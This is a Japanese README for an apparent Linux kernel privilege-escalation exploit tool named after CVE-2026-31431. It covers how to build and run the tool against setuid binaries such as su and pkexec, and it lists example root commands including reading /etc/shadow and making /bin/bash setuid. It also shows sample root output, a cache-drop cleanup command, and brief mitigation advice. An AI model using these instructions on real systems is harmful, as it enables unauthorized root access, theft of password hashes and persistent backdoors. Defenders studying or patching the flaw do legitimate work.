CVE-2026-31431 Copy Fail Exploit

Linux カーネルの page cache 汚染脆弱性を利用したツールで、非対話型コマンド実行をサポートします。

脆弱性の概要

CVE-2026-31431 は、Linux カーネルの authencesn AEAD アルゴリズム実装に存在する論理的欠陥です。AF_ALG と splice() システムコールチェーンを介して、攻撃者は任意の読み取り可能ファイルの page cache に 4 バイトのデータを書き込むことができます。

影響範囲:

Linux カーネル 4.14+ (2017年 - 2026年4月)
ほぼすべての主要ディストリビューション: Ubuntu、Debian、CentOS、RHEL、Amazon Linux など

脆弱性の特徴:

100% 信頼性が高く、競合状態は不要
カーネルオフセット計算は不要
同じバイナリファイルがすべてのディストリビューションで動作
ディスク上のファイルは変更せず、メモリキャッシュのみを汚染

ファイル構成

.
├── copyfail_universal.c    # メインPOCソースコード（静的コンパイル、libc依存なし）
├── copyfail_universal      # コンパイル済みバイナリ
├── run_cmd.sh              # 非対話型実行ラッパースクリプト
├── Makefile                # コンパイルスクリプト
└── README.md               # 本ドキュメント

コンパイル

# 方法1: gcc と ld を使用
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal

# 方法2: Makefile を使用
make

使用方法

対話型 Root Shell

./copyfail_universal

非対話型コマンド実行

# 方法1: ラッパースクリプトを使用（推奨）
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"

# 方法2: パイプ経由
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal

# 方法3: 環境変数を使用
CMD='whoami' ./copyfail_universal

他の setuid ターゲットを指定

# デフォルトのターゲットは /usr/bin/su
# ソースコード内の path 変数を変更することで他のターゲットを指定可能

# 一般的に利用可能なターゲット:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec

自動復旧

この脆弱性は page cache のみを変更し、ディスク上のファイルは変更しません。以下のコマンドで復旧できます:

sync; echo 3 > /proc/sys/vm/drop_caches

run_cmd.sh スクリプトには自動復旧機能が組み込まれています。

出力例

$ ./run_cmd.sh "id"

[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...

uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)

影響を受ける setuid プログラム

システム上のすべての setuid プログラムを検索:

find / -perm -4000 -user root -type f 2>/dev/null

修正の推奨事項

カーネルの更新 - パッチ a664bf3d603d を含むカーネルバージョンにアップグレード

一時的な緩和策 - algif_aead モジュールを無効化:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

コンテナ環境 - seccomp を使用して AF_ALG socket の作成をブロック

技術詳細

脆弱性タイプ: Page cache 書き込み境界外
根本原因: authencesn がターゲットバッファを一時ストレージとして使用し、境界外に 4 バイト書き込む
悪用手法: splice() を介して page cache ページを crypto サブシステムに渡す
書き込み能力: 各操作で任意の読み取り可能ファイルの page cache に 4 バイト書き込み可能

免責事項

本ツールはセキュリティ研究および認可されたテスト専用です。認可されていないシステムへの攻撃に本ツールを使用することは違法行為です。利用者はすべての法的責任を負うものとします。

copy-fail_LPE_Interactive

人気

su	/usr/bin/su	✅ デフォルト
passwd	/usr/bin/passwd	✅
chsh	/usr/bin/chsh	✅
chfn	/usr/bin/chfn	✅
gpasswd	/usr/bin/gpasswd	✅
pkexec	/usr/bin/pkexec	✅
mount	/bin/mount	✅
umount	/bin/umount	✅